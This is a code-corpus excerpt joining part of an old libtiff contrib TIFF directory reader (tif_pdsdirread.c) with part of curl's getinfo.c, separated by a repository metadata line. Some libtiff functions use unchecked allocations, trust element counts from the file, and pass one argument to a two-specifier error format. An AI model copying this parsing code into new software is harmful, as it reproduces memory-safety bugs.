_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc); } if (tif->tif_flags & TIFF_SWAB) { switch (dir->tdir_type) { case TIFF_SHORT: case TIFF_SSHORT: TIFFSwabArrayOfShort((uint16*) cp, dir->tdir_count); break; case TIFF_LONG: case TIFF_SLONG: case TIFF_FLOAT: TIFFSwabArrayOfLong((uint32*) cp, dir->tdir_count); break; case TIFF_RATIONAL: case TIFF_SRATIONAL: TIFFSwabArrayOfLong((uint32*) cp, 2*dir->tdir_count); break; case TIFF_DOUBLE: TIFFSwabArrayOfDouble((double*) cp, dir->tdir_count); break; } } return (cc); bad: TIFFError(tif->tif_name, "Error fetching data for field \"%s\"", _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name); return ((tsize_t) 0); } /* * Fetch an ASCII item from the file. */ static tsize_t TIFFFetchString(TIFF* tif, TIFFDirEntry* dir, char* cp) { if (dir->tdir_count <= 4) { uint32 l = dir->tdir_offset; if (tif->tif_flags & TIFF_SWAB) TIFFSwabLong(&l); _TIFFmemcpy(cp, &l, dir->tdir_count); return (1); } return (TIFFFetchData(tif, dir, cp)); } /* * Convert numerator+denominator to float. */ static int cvtRational(TIFF* tif, TIFFDirEntry* dir, uint32 num, uint32 denom, float* rv) { if (denom == 0) { TIFFError(tif->tif_name, "%s: Rational with zero denominator (num = %lu)", _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name, num); return (0); } else { if (dir->tdir_type == TIFF_RATIONAL) *rv = ((float)num / (float)denom); else *rv = ((float)(int32)num / (float)(int32)denom); return (1); } } /* * Fetch a rational item from the file * at offset off and return the value * as a floating point number. */ static float TIFFFetchRational(TIFF* tif, TIFFDirEntry* dir) { uint32 l[2]; float v; return (!TIFFFetchData(tif, dir, (char *)l) || !cvtRational(tif, dir, l[0], l[1], &v) ? 1.0f : v); } /* * Fetch a single floating point value * from the offset field and return it * as a native float. */ static float TIFFFetchFloat(TIFF* tif, TIFFDirEntry* dir) { /* This appears to be a flagrant bug in the TIFF library, yet I actually don't understand how it could have ever worked the old way. Look at the comments in my new code and you'll understand. */ #if (0) float v = (float) TIFFExtractData(tif, dir->tdir_type, dir->tdir_offset); TIFFCvtIEEEFloatToNative(tif, 1, &v); #else float v; /* This is a little bit tricky - if we just cast the uint32 to a float, C will perform a numerical conversion, which is not what we want. We want to take the actual bit pattern in the uint32 and interpret it as a float. Thus we cast a uint32 * into a float * and then dereference to get v. */ uint32 l = (uint32) TIFFExtractData(tif, dir->tdir_type, dir->tdir_offset); v = * (float *) &l; TIFFCvtIEEEFloatToNative(tif, 1, &v); #endif return (v); } /* * Fetch an array of BYTE or SBYTE values. */ static int TIFFFetchByteArray(TIFF* tif, TIFFDirEntry* dir, uint16* v) { if (dir->tdir_count <= 4) { /* * Extract data from offset field. */ if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) { switch (dir->tdir_count) { case 4: v[3] = dir->tdir_offset & 0xff; case 3: v[2] = (dir->tdir_offset >> 8) & 0xff; case 2: v[1] = (dir->tdir_offset >> 16) & 0xff; case 1: v[0] = dir->tdir_offset >> 24; } } else { switch (dir->tdir_count) { case 4: v[3] = dir->tdir_offset >> 24; case 3: v[2] = (dir->tdir_offset >> 16) & 0xff; case 2: v[1] = (dir->tdir_offset >> 8) & 0xff; case 1: v[0] = dir->tdir_offset & 0xff; } } return (1); } else return (TIFFFetchData(tif, dir, (char*) v) != 0); /* XXX */ } /* * Fetch an array of SHORT or SSHORT values. */ static int TIFFFetchShortArray(TIFF* tif, TIFFDirEntry* dir, uint16* v) { if (dir->tdir_count <= 2) { if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) { switch (dir->tdir_count) { case 2: v[1] = dir->tdir_offset & 0xffff; case 1: v[0] = dir->tdir_offset >> 16; } } else { switch (dir->tdir_count) { case 2: v[1] = dir->tdir_offset >> 16; case 1: v[0] = dir->tdir_offset & 0xffff; } } return (1); } else return (TIFFFetchData(tif, dir, (char *)v) != 0); } /* * Fetch a pair of SHORT or BYTE values. */ static int TIFFFetchShortPair(TIFF* tif, TIFFDirEntry* dir) { uint16 v[2]; int ok = 0; switch (dir->tdir_type) { case TIFF_SHORT: case TIFF_SSHORT: ok = TIFFFetchShortArray(tif, dir, v); break; case TIFF_BYTE: case TIFF_SBYTE: ok = TIFFFetchByteArray(tif, dir, v); break; } if (ok) TIFFSetField(tif, dir->tdir_tag, v[0], v[1]); return (ok); } /* * Fetch an array of LONG or SLONG values. */ static int TIFFFetchLongArray(TIFF* tif, TIFFDirEntry* dir, uint32* v) { if (dir->tdir_count == 1) { v[0] = dir->tdir_offset; return (1); } else return (TIFFFetchData(tif, dir, (char*) v) != 0); } /* * Fetch an array of RATIONAL or SRATIONAL values. */ static int TIFFFetchRationalArray(TIFF* tif, TIFFDirEntry* dir, float* v) { int ok = 0; uint32* l; l = (uint32*)CheckMalloc(tif, dir->tdir_count*TIFFDataWidth(dir->tdir_type), "to fetch array of rationals"); if (l) { if (TIFFFetchData(tif, dir, (char *)l)) { uint32 i; for (i = 0; i < dir->tdir_count; i++) { ok = cvtRational(tif, dir, l[2*i+0], l[2*i+1], &v[i]); if (!ok) break; } } _TIFFfree((char *)l); } return (ok); } /* * Fetch an array of FLOAT values. */ static int TIFFFetchFloatArray(TIFF* tif, TIFFDirEntry* dir, float* v) { if (dir->tdir_count == 1) { v[0] = *(float*) &dir->tdir_offset; TIFFCvtIEEEFloatToNative(tif, dir->tdir_count, v); return (1); } else if (TIFFFetchData(tif, dir, (char*) v)) { TIFFCvtIEEEFloatToNative(tif, dir->tdir_count, v); return (1); } else return (0); } /* * Fetch an array of DOUBLE values. */ static int TIFFFetchDoubleArray(TIFF* tif, TIFFDirEntry* dir, double* v) { if (TIFFFetchData(tif, dir, (char*) v)) { TIFFCvtIEEEDoubleToNative(tif, dir->tdir_count, v); return (1); } else return (0); } /* * Fetch an array of ANY values. The actual values are * returned as doubles which should be able hold all the * types. Yes, there really should be an tany_t to avoid * this potential non-portability ... Note in particular * that we assume that the double return value vector is * large enough to read in any fundamental type. We use * that vector as a buffer to read in the base type vector * and then convert it in place to double (from end * to front of course). */ static int TIFFFetchAnyArray(TIFF* tif, TIFFDirEntry* dir, double* v) { int i; switch (dir->tdir_type) { case TIFF_BYTE: case TIFF_SBYTE: if (!TIFFFetchByteArray(tif, dir, (uint16*) v)) return (0); if (dir->tdir_type == TIFF_BYTE) { uint16* vp = (uint16*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } else { int16* vp = (int16*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } break; case TIFF_SHORT: case TIFF_SSHORT: if (!TIFFFetchShortArray(tif, dir, (uint16*) v)) return (0); if (dir->tdir_type == TIFF_SHORT) { uint16* vp = (uint16*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } else { int16* vp = (int16*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } break; case TIFF_LONG: case TIFF_SLONG: if (!TIFFFetchLongArray(tif, dir, (uint32*) v)) return (0); if (dir->tdir_type == TIFF_LONG) { uint32* vp = (uint32*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } else { int32* vp = (int32*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } break; case TIFF_RATIONAL: case TIFF_SRATIONAL: if (!TIFFFetchRationalArray(tif, dir, (float*) v)) return (0); { float* vp = (float*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } break; case TIFF_FLOAT: if (!TIFFFetchFloatArray(tif, dir, (float*) v)) return (0); { float* vp = (float*) v; for (i = dir->tdir_count-1; i >= 0; i--) v[i] = vp[i]; } break; case TIFF_DOUBLE: return (TIFFFetchDoubleArray(tif, dir, (double*) v)); default: /* TIFF_NOTYPE */ /* TIFF_ASCII */ /* TIFF_UNDEFINED */ TIFFError(tif->tif_name, "Cannot read TIFF_ANY type %d for field \"%s\"", _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name); return (0); } return (1); } /* * Fetch a tag that is not handled by special case code. */ /* The standard function TIFFFetchNormalTag() could definitely be replaced with a simple call to this function, just adding TIFFSetField() as the last argument. */ static int TIFFFetchNormalSubTag(TIFF* tif, TIFFDirEntry* dp, const TIFFFieldInfo* fip, int (*setFieldFn)(TIFF *tif, ttag_t tag, ...)) { static char mesg[] = "to fetch tag value"; int ok = 0; if (dp->tdir_count > 1) { /* array of values */ char* cp = NULL; switch (dp->tdir_type) { case TIFF_BYTE: case TIFF_SBYTE: /* NB: always expand BYTE values to shorts */ cp = CheckMalloc(tif, dp->tdir_count * sizeof (uint16), mesg); ok = cp && TIFFFetchByteArray(tif, dp, (uint16*) cp); break; case TIFF_SHORT: case TIFF_SSHORT: cp = CheckMalloc(tif, dp->tdir_count * sizeof (uint16), mesg); ok = cp && TIFFFetchShortArray(tif, dp, (uint16*) cp); break; case TIFF_LONG: case TIFF_SLONG: cp = CheckMalloc(tif, dp->tdir_count * sizeof (uint32), mesg); ok = cp && TIFFFetchLongArray(tif, dp, (uint32*) cp); break; case TIFF_RATIONAL: case TIFF_SRATIONAL: cp = CheckMalloc(tif, dp->tdir_count * sizeof (float), mesg); ok = cp && TIFFFetchRationalArray(tif, dp, (float*) cp); break; case TIFF_FLOAT: cp = CheckMalloc(tif, dp->tdir_count * sizeof (float), mesg); ok = cp && TIFFFetchFloatArray(tif, dp, (float*) cp); break; case TIFF_DOUBLE: cp = CheckMalloc(tif, dp->tdir_count * sizeof (double), mesg); ok = cp && TIFFFetchDoubleArray(tif, dp, (double*) cp); break; case TIFF_ASCII: case TIFF_UNDEFINED: /* bit of a cheat... */ /* * Some vendors write strings w/o the trailing * NULL byte, so always append one just in case. */ cp = CheckMalloc(tif, dp->tdir_count+1, mesg); if (ok = (cp && TIFFFetchString(tif, dp, cp))) cp[dp->tdir_count] = '\0'; /* XXX */ break; } if (ok) { ok = (fip->field_passcount ? (*setFieldFn)(tif, dp->tdir_tag, dp->tdir_count, cp) : (*setFieldFn)(tif, dp->tdir_tag, cp)); } if (cp != NULL) _TIFFfree(cp); } else if (CheckDirCount(tif, dp, 1)) { /* singleton value */ switch (dp->tdir_type) { case TIFF_BYTE: case TIFF_SBYTE: case TIFF_SHORT: case TIFF_SSHORT: /* * If the tag is also acceptable as a LONG or SLONG * then (*setFieldFn) will expect an uint32 parameter * passed to it (through varargs). Thus, for machines * where sizeof (int) != sizeof (uint32) we must do * a careful check here. It's hard to say if this * is worth optimizing. * * NB: We use TIFFFieldWithTag here knowing that * it returns us the first entry in the table * for the tag and that that entry is for the * widest potential data type the tag may have. */ { TIFFDataType type = fip->field_type; if (type != TIFF_LONG && type != TIFF_SLONG) { uint16 v = (uint16) TIFFExtractData(tif, dp->tdir_type, dp->tdir_offset); ok = (fip->field_passcount ? (*setFieldFn)(tif, dp->tdir_tag, 1, &v) : (*setFieldFn)(tif, dp->tdir_tag, v)); break; } } /* fall thru... */ case TIFF_LONG: case TIFF_SLONG: { uint32 v32 = TIFFExtractData(tif, dp->tdir_type, dp->tdir_offset); ok = (fip->field_passcount ? (*setFieldFn)(tif, dp->tdir_tag, 1, &v32) : (*setFieldFn)(tif, dp->tdir_tag, v32)); } break; case TIFF_RATIONAL: case TIFF_SRATIONAL: case TIFF_FLOAT: { float v = (dp->tdir_type == TIFF_FLOAT ? TIFFFetchFloat(tif, dp) : TIFFFetchRational(tif, dp)); ok = (fip->field_passcount ? (*setFieldFn)(tif, dp->tdir_tag, 1, &v) : (*setFieldFn)(tif, dp->tdir_tag, v)); } break; case TIFF_DOUBLE: { double v; ok = (TIFFFetchDoubleArray(tif, dp, &v) && (fip->field_passcount ? (*setFieldFn)(tif, dp->tdir_tag, 1, &v) : (*setFieldFn)(tif, dp->tdir_tag, v)) ); } break; case TIFF_ASCII: case TIFF_UNDEFINED: /* bit of a cheat... */ { char c[2]; if (ok = (TIFFFetchString(tif, dp, c) != 0)) { c[1] = '\0'; /* XXX paranoid */ ok = (*setFieldFn)(tif, dp->tdir_tag, c); } } break; } } return (ok); } /* Everything after this is exactly duplicated from the standard tif_dirread.c file, necessitated by the fact that they are declared static there so we can't call them! */ #define NITEMS(x) (sizeof (x) / sizeof (x[0])) /* * Fetch samples/pixel short values for * the specified tag and verify that * all values are the same. */ static int TIFFFetchPerSampleShorts(TIFF* tif, TIFFDirEntry* dir, int* pl) { int samples = tif->tif_dir.td_samplesperpixel; int status = 0; if (CheckDirCount(tif, dir, (uint32) samples)) { uint16 buf[10]; uint16* v = buf; if (samples > NITEMS(buf)) v = (uint16*) _TIFFmalloc(samples * sizeof (uint16)); if (TIFFFetchShortArray(tif, dir, v)) { int i; for (i = 1; i < samples; i++) if (v[i] != v[0]) { TIFFError(tif->tif_name, "Cannot handle different per-sample values for field \"%s\"", _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name); goto bad; } *pl = v[0]; status = 1; } bad: if (v != buf) _TIFFfree((char*) v); } return (status); } /* * Fetch samples/pixel ANY values for * the specified tag and verify that * all values are the same. */ static int TIFFFetchPerSampleAnys(TIFF* tif, TIFFDirEntry* dir, double* pl) { int samples = (int) tif->tif_dir.td_samplesperpixel; int status = 0; if (CheckDirCount(tif, dir, (uint32) samples)) { double buf[10]; double* v = buf; if (samples > NITEMS(buf)) v = (double*) _TIFFmalloc(samples * sizeof (double)); if (TIFFFetchAnyArray(tif, dir, v)) { int i; for (i = 1; i < samples; i++) if (v[i] != v[0]) { TIFFError(tif->tif_name, "Cannot handle different per-sample values for field \"%s\"", _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name); goto bad; } *pl = v[0]; status = 1; } bad: if (v != buf) _TIFFfree(v); } return (status); } #undef NITEMS /* * Fetch a set of offsets or lengths. * While this routine says "strips", * in fact it's also used for tiles. */ static int TIFFFetchStripThing(TIFF* tif, TIFFDirEntry* dir, long nstrips, uint32** lpp) { register uint32* lp; int status; if (!CheckDirCount(tif, dir, (uint32) nstrips)) return (0); /* * Allocate space for strip information. */ if (*lpp == NULL && (*lpp = (uint32 *)CheckMalloc(tif, nstrips * sizeof (uint32), "for strip array")) == NULL) return (0); lp = *lpp; if (dir->tdir_type == (int)TIFF_SHORT) { /* * Handle uint16->uint32 expansion. */ uint16* dp = (uint16*) CheckMalloc(tif, dir->tdir_count* sizeof (uint16), "to fetch strip tag"); if (dp == NULL) return (0); if (status = TIFFFetchShortArray(tif, dir, dp)) { register uint16* wp = dp; while (nstrips-- > 0) *lp++ = *wp++; } _TIFFfree((char*) dp); } else status = TIFFFetchLongArray(tif, dir, lp); return (status); } #define NITEMS(x) (sizeof (x) / sizeof (x[0])) /* * Fetch and set the ExtraSamples tag. */ static int TIFFFetchExtraSamples(TIFF* tif, TIFFDirEntry* dir) { uint16 buf[10]; uint16* v = buf; int status; if (dir->tdir_count > NITEMS(buf)) v = (uint16*) _TIFFmalloc(dir->tdir_count * sizeof (uint16)); if (dir->tdir_type == TIFF_BYTE) status = TIFFFetchByteArray(tif, dir, v); else status = TIFFFetchShortArray(tif, dir, v); if (status) status = TIFFSetField(tif, dir->tdir_tag, dir->tdir_count, v); if (v != buf) _TIFFfree((char*) v); return (status); } #undef NITEMS #ifdef COLORIMETRY_SUPPORT /* * Fetch and set the RefBlackWhite tag. */ static int TIFFFetchRefBlackWhite(TIFF* tif, TIFFDirEntry* dir) { static char mesg[] = "for \"ReferenceBlackWhite\" array"; char* cp; int ok; if (dir->tdir_type == TIFF_RATIONAL) return (1/*TIFFFetchNormalTag(tif, dir) just so linker won't complain - this part of the code is never used anyway */); /* * Handle LONG's for backward compatibility. */ cp = CheckMalloc(tif, dir->tdir_count * sizeof (uint32), mesg); if (ok = (cp && TIFFFetchLongArray(tif, dir, (uint32*) cp))) { float* fp = (float*) CheckMalloc(tif, dir->tdir_count * sizeof (float), mesg); if (ok = (fp != NULL)) { uint32 i; for (i = 0; i < dir->tdir_count; i++) fp[i] = (float)((uint32*) cp)[i]; ok = TIFFSetField(tif, dir->tdir_tag, fp); _TIFFfree((char*) fp); } } if (cp) _TIFFfree(cp); return (ok); } #endif #if STRIPCHOP_SUPPORT /* * Replace a single strip (tile) of uncompressed data by * multiple strips (tiles), each approximately 8Kbytes. * This is useful for dealing with large images or * for dealing with machines with a limited amount * memory. */ static void ChopUpSingleUncompressedStrip(TIFF* tif) { register TIFFDirectory *td = &tif->tif_dir; uint32 bytecount = td->td_stripbytecount[0]; uint32 offset = td->td_stripoffset[0]; tsize_t rowbytes = TIFFVTileSize(tif, 1), stripbytes; tstrip_t strip, nstrips, rowsperstrip; uint32* newcounts; uint32* newoffsets; /* * Make the rows hold at least one * scanline, but fill 8k if possible. */ if (rowbytes > 8192) { stripbytes = rowbytes; rowsperstrip = 1; } else { rowsperstrip = 8192 / rowbytes; stripbytes = rowbytes * rowsperstrip; } /* never increase the number of strips in an image */ if (rowsperstrip >= td->td_rowsperstrip) return; nstrips = (tstrip_t) TIFFhowmany(bytecount, stripbytes); newcounts = (uint32*) CheckMalloc(tif, nstrips * sizeof (uint32), "for chopped \"StripByteCounts\" array"); newoffsets = (uint32*) CheckMalloc(tif, nstrips * sizeof (uint32), "for chopped \"StripOffsets\" array"); if (newcounts == NULL || newoffsets == NULL) { /* * Unable to allocate new strip information, give * up and use the original one strip information. */ if (newcounts != NULL) _TIFFfree(newcounts); if (newoffsets != NULL) _TIFFfree(newoffsets); return; } /* * Fill the strip information arrays with * new bytecounts and offsets that reflect * the broken-up format. */ for (strip = 0; strip < nstrips; strip++) { if (stripbytes > bytecount) stripbytes = bytecount; newcounts[strip] = stripbytes; newoffsets[strip] = offset; offset += stripbytes; bytecount -= stripbytes; } /* * Replace old single strip info with multi-strip info. */ td->td_stripsperimage = td->td_nstrips = nstrips; TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rowsperstrip); _TIFFfree(td->td_stripbytecount); _TIFFfree(td->td_stripoffset); td->td_stripbytecount = newcounts; td->td_stripoffset = newoffsets; } #endif /* STRIPCHOP_SUPPORT */
OpenXIP/xip-libraries
src/extern/tiff-3.7.4/contrib/pds/tif_pdsdirread.c
C
apache-2.0
31,914
/*************************************************************************** * _ _ ____ _ * Project ___| | | | _ \| | * / __| | | | |_) | | * | (__| |_| | _ <| |___ * \___|\___/|_| \_\_____| * * Copyright (C) 1998 - 2020, Daniel Stenberg, <daniel@haxx.se>, et al. * * This software is licensed as described in the file COPYING, which * you should have received as part of this distribution. The terms * are also available at https://curl.haxx.se/docs/copyright.html. * * You may opt to use, copy, modify, merge, publish, distribute and/or sell * copies of the Software, and permit persons to whom the Software is * furnished to do so, under the terms of the COPYING file. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ***************************************************************************/ #include "curl_setup.h" #include <curl/curl.h> #include "urldata.h" #include "getinfo.h" #include "vtls/vtls.h" #include "connect.h" /* Curl_getconnectinfo() */ #include "progress.h" /* The last #include files should be: */ #include "curl_memory.h" #include "memdebug.h" /* * Initialize statistical and informational data. * * This function is called in curl_easy_reset, curl_easy_duphandle and at the * beginning of a perform session. It must reset the session-info variables, * in particular all variables in struct PureInfo. */ CURLcode Curl_initinfo(struct Curl_easy *data) { struct Progress *pro = &data->progress; struct PureInfo *info = &data->info; pro->t_nslookup = 0; pro->t_connect = 0; pro->t_appconnect = 0; pro->t_pretransfer = 0; pro->t_starttransfer = 0; pro->timespent = 0; pro->t_redirect = 0; pro->is_t_startransfer_set = false; info->httpcode = 0; info->httpproxycode = 0; info->httpversion = 0; info->filetime = -1; /* -1 is an illegal time and thus means unknown */ info->timecond = FALSE; info->header_size = 0; info->request_size = 0; info->proxyauthavail = 0; info->httpauthavail = 0; info->numconnects = 0; free(info->contenttype); info->contenttype = NULL; free(info->wouldredirect); info->wouldredirect = NULL; info->conn_primary_ip[0] = '\0'; info->conn_local_ip[0] = '\0'; info->conn_primary_port = 0; info->conn_local_port = 0; info->conn_scheme = 0; info->conn_protocol = 0; #ifdef USE_SSL Curl_ssl_free_certinfo(data); #endif return CURLE_OK; } static CURLcode getinfo_char(struct Curl_easy *data, CURLINFO info, const char **param_charp) { switch(info) { case CURLINFO_EFFECTIVE_URL: *param_charp = data->change.url?data->change.url:(char *)""; break; case CURLINFO_CONTENT_TYPE: *param_charp = data->info.contenttype; break; case CURLINFO_PRIVATE: *param_charp = (char *) data->set.private_data; break; case CURLINFO_FTP_ENTRY_PATH: /* Return the entrypath string from the most recent connection. This pointer was copied from the connectdata structure by FTP. The actual string may be free()ed by subsequent libcurl calls so it must be copied to a safer area before the next libcurl call. Callers must never free it themselves. */ *param_charp = data->state.most_recent_ftp_entrypath; break; case CURLINFO_REDIRECT_URL: /* Return the URL this request would have been redirected to if that option had been enabled! */ *param_charp = data->info.wouldredirect; break; case CURLINFO_PRIMARY_IP: /* Return the ip address of the most recent (primary) connection */ *param_charp = data->info.conn_primary_ip; break; case CURLINFO_LOCAL_IP: /* Return the source/local ip address of the most recent (primary) connection */ *param_charp = data->info.conn_local_ip; break; case CURLINFO_RTSP_SESSION_ID: *param_charp = data->set.str[STRING_RTSP_SESSION_ID]; break; case CURLINFO_SCHEME: *param_charp = data->info.conn_scheme; break; default: return CURLE_UNKNOWN_OPTION; } return CURLE_OK; } static CURLcode getinfo_long(struct Curl_easy *data, CURLINFO info, long *param_longp) { curl_socket_t sockfd; union { unsigned long *to_ulong; long *to_long; } lptr; #ifdef DEBUGBUILD char *timestr = getenv("CURL_TIME"); if(timestr) { unsigned long val = strtol(timestr, NULL, 10); switch(info) { case CURLINFO_LOCAL_PORT: *param_longp = (long)val; return CURLE_OK; default: break; } } /* use another variable for this to allow different values */ timestr = getenv("CURL_DEBUG_SIZE"); if(timestr) { unsigned long val = strtol(timestr, NULL, 10); switch(info) { case CURLINFO_HEADER_SIZE: case CURLINFO_REQUEST_SIZE: *param_longp = (long)val; return CURLE_OK; default: break; } } #endif switch(info) { case CURLINFO_RESPONSE_CODE: *param_longp = data->info.httpcode; break; case CURLINFO_HTTP_CONNECTCODE: *param_longp = data->info.httpproxycode; break; case CURLINFO_FILETIME: if(data->info.filetime > LONG_MAX) *param_longp = LONG_MAX; else if(data->info.filetime < LONG_MIN) *param_longp = LONG_MIN; else *param_longp = (long)data->info.filetime; break; case CURLINFO_HEADER_SIZE: *param_longp = (long)data->info.header_size; break; case CURLINFO_REQUEST_SIZE: *param_longp = (long)data->info.request_size; break; case CURLINFO_SSL_VERIFYRESULT: *param_longp = data->set.ssl.certverifyresult; break; case CURLINFO_PROXY_SSL_VERIFYRESULT: *param_longp = data->set.proxy_ssl.certverifyresult; break; case CURLINFO_REDIRECT_COUNT: *param_longp = data->set.followlocation; break; case CURLINFO_HTTPAUTH_AVAIL: lptr.to_long = param_longp; *lptr.to_ulong = data->info.httpauthavail; break; case CURLINFO_PROXYAUTH_AVAIL: lptr.to_long = param_longp; *lptr.to_ulong = data->info.proxyauthavail; break; case CURLINFO_OS_ERRNO: *param_longp = data->state.os_errno; break; case CURLINFO_NUM_CONNECTS: *param_longp = data->info.numconnects; break; case CURLINFO_LASTSOCKET: sockfd = Curl_getconnectinfo(data, NULL); /* note: this is not a good conversion for systems with 64 bit sockets and 32 bit longs */ if(sockfd != CURL_SOCKET_BAD) *param_longp = (long)sockfd; else /* this interface is documented to return -1 in case of badness, which may not be the same as the CURL_SOCKET_BAD value */ *param_longp = -1; break; case CURLINFO_PRIMARY_PORT: /* Return the (remote) port of the most recent (primary) connection */ *param_longp = data->info.conn_primary_port; break; case CURLINFO_LOCAL_PORT: /* Return the local port of the most recent (primary) connection */ *param_longp = data->info.conn_local_port; break; case CURLINFO_CONDITION_UNMET: if(data->info.httpcode == 304) *param_longp = 1L; else /* return if the condition prevented the document to get transferred */ *param_longp = data->info.timecond ? 1L : 0L; break; case CURLINFO_RTSP_CLIENT_CSEQ: *param_longp = data->state.rtsp_next_client_CSeq; break; case CURLINFO_RTSP_SERVER_CSEQ: *param_longp = data->state.rtsp_next_server_CSeq; break; case CURLINFO_RTSP_CSEQ_RECV: *param_longp = data->state.rtsp_CSeq_recv; break; case CURLINFO_HTTP_VERSION: switch(data->info.httpversion) { case 10: *param_longp = CURL_HTTP_VERSION_1_0; break; case 11: *param_longp = CURL_HTTP_VERSION_1_1; break; case 20: *param_longp = CURL_HTTP_VERSION_2_0; break; case 30: *param_longp = CURL_HTTP_VERSION_3; break; default: *param_longp = CURL_HTTP_VERSION_NONE; break; } break; case CURLINFO_PROTOCOL: *param_longp = data->info.conn_protocol; break; default: return CURLE_UNKNOWN_OPTION; } return CURLE_OK; } #define DOUBLE_SECS(x) (double)(x)/1000000 static CURLcode getinfo_offt(struct Curl_easy *data, CURLINFO info, curl_off_t *param_offt) { #ifdef DEBUGBUILD char *timestr = getenv("CURL_TIME"); if(timestr) { unsigned long val = strtol(timestr, NULL, 10); switch(info) { case CURLINFO_TOTAL_TIME_T: case CURLINFO_NAMELOOKUP_TIME_T: case CURLINFO_CONNECT_TIME_T: case CURLINFO_APPCONNECT_TIME_T: case CURLINFO_PRETRANSFER_TIME_T: case CURLINFO_STARTTRANSFER_TIME_T: case CURLINFO_REDIRECT_TIME_T: case CURLINFO_SPEED_DOWNLOAD_T: case CURLINFO_SPEED_UPLOAD_T: *param_offt = (curl_off_t)val; return CURLE_OK; default: break; } } #endif switch(info) { case CURLINFO_FILETIME_T: *param_offt = (curl_off_t)data->info.filetime; break; case CURLINFO_SIZE_UPLOAD_T: *param_offt = data->progress.uploaded; break; case CURLINFO_SIZE_DOWNLOAD_T: *param_offt = data->progress.downloaded; break; case CURLINFO_SPEED_DOWNLOAD_T: *param_offt = data->progress.dlspeed; break; case CURLINFO_SPEED_UPLOAD_T: *param_offt = data->progress.ulspeed; break; case CURLINFO_CONTENT_LENGTH_DOWNLOAD_T: *param_offt = (data->progress.flags & PGRS_DL_SIZE_KNOWN)? data->progress.size_dl:-1; break; case CURLINFO_CONTENT_LENGTH_UPLOAD_T: *param_offt = (data->progress.flags & PGRS_UL_SIZE_KNOWN)? data->progress.size_ul:-1; break; case CURLINFO_TOTAL_TIME_T: *param_offt = data->progress.timespent; break; case CURLINFO_NAMELOOKUP_TIME_T: *param_offt = data->progress.t_nslookup; break; case CURLINFO_CONNECT_TIME_T: *param_offt = data->progress.t_connect; break; case CURLINFO_APPCONNECT_TIME_T: *param_offt = data->progress.t_appconnect; break; case CURLINFO_PRETRANSFER_TIME_T: *param_offt = data->progress.t_pretransfer; break; case CURLINFO_STARTTRANSFER_TIME_T: *param_offt = data->progress.t_starttransfer; break; case CURLINFO_REDIRECT_TIME_T: *param_offt = data->progress.t_redirect; break; case CURLINFO_RETRY_AFTER: *param_offt = data->info.retry_after; break; default: return CURLE_UNKNOWN_OPTION; } return CURLE_OK; } static CURLcode getinfo_double(struct Curl_easy *data, CURLINFO info, double *param_doublep) { #ifdef DEBUGBUILD char *timestr = getenv("CURL_TIME"); if(timestr) { unsigned long val = strtol(timestr, NULL, 10); switch(info) { case CURLINFO_TOTAL_TIME: case CURLINFO_NAMELOOKUP_TIME: case CURLINFO_CONNECT_TIME: case CURLINFO_APPCONNECT_TIME: case CURLINFO_PRETRANSFER_TIME: case CURLINFO_STARTTRANSFER_TIME: case CURLINFO_REDIRECT_TIME: case CURLINFO_SPEED_DOWNLOAD: case CURLINFO_SPEED_UPLOAD: *param_doublep = (double)val; return CURLE_OK; default: break; } } #endif switch(info) { case CURLINFO_TOTAL_TIME: *param_doublep = DOUBLE_SECS(data->progress.timespent); break; case CURLINFO_NAMELOOKUP_TIME: *param_doublep = DOUBLE_SECS(data->progress.t_nslookup); break; case CURLINFO_CONNECT_TIME: *param_doublep = DOUBLE_SECS(data->progress.t_connect); break; case CURLINFO_APPCONNECT_TIME: *param_doublep = DOUBLE_SECS(data->progress.t_appconnect); break; case CURLINFO_PRETRANSFER_TIME: *param_doublep = DOUBLE_SECS(data->progress.t_pretransfer); break; case CURLINFO_STARTTRANSFER_TIME: *param_doublep = DOUBLE_SECS(data->progress.t_starttransfer); break; case CURLINFO_SIZE_UPLOAD: *param_doublep = (double)data->progress.uploaded; break; case CURLINFO_SIZE_DOWNLOAD: *param_doublep = (double)data->progress.downloaded; break; case CURLINFO_SPEED_DOWNLOAD: *param_doublep = (double)data->progress.dlspeed; break; case CURLINFO_SPEED_UPLOAD: *param_doublep = (double)data->progress.ulspeed; break; case CURLINFO_CONTENT_LENGTH_DOWNLOAD: *param_doublep = (data->progress.flags & PGRS_DL_SIZE_KNOWN)? (double)data->progress.size_dl:-1; break; case CURLINFO_CONTENT_LENGTH_UPLOAD: *param_doublep = (data->progress.flags & PGRS_UL_SIZE_KNOWN)? (double)data->progress.size_ul:-1; break; case CURLINFO_REDIRECT_TIME: *param_doublep = DOUBLE_SECS(data->progress.t_redirect); break; default: return CURLE_UNKNOWN_OPTION; } return CURLE_OK; } static CURLcode getinfo_slist(struct Curl_easy *data, CURLINFO info, struct curl_slist **param_slistp) { union { struct curl_certinfo *to_certinfo; struct curl_slist *to_slist; } ptr; switch(info) { case CURLINFO_SSL_ENGINES: *param_slistp = Curl_ssl_engines_list(data); break; case CURLINFO_COOKIELIST: *param_slistp = Curl_cookie_list(data); break; case CURLINFO_CERTINFO: /* Return the a pointer to the certinfo struct. Not really an slist pointer but we can pretend it is here */ ptr.to_certinfo = &data->info.certs; *param_slistp = ptr.to_slist; break; case CURLINFO_TLS_SESSION: case CURLINFO_TLS_SSL_PTR: { struct curl_tlssessioninfo **tsip = (struct curl_tlssessioninfo **) param_slistp; struct curl_tlssessioninfo *tsi = &data->tsi; #ifdef USE_SSL struct connectdata *conn = data->conn; #endif *tsip = tsi; tsi->backend = 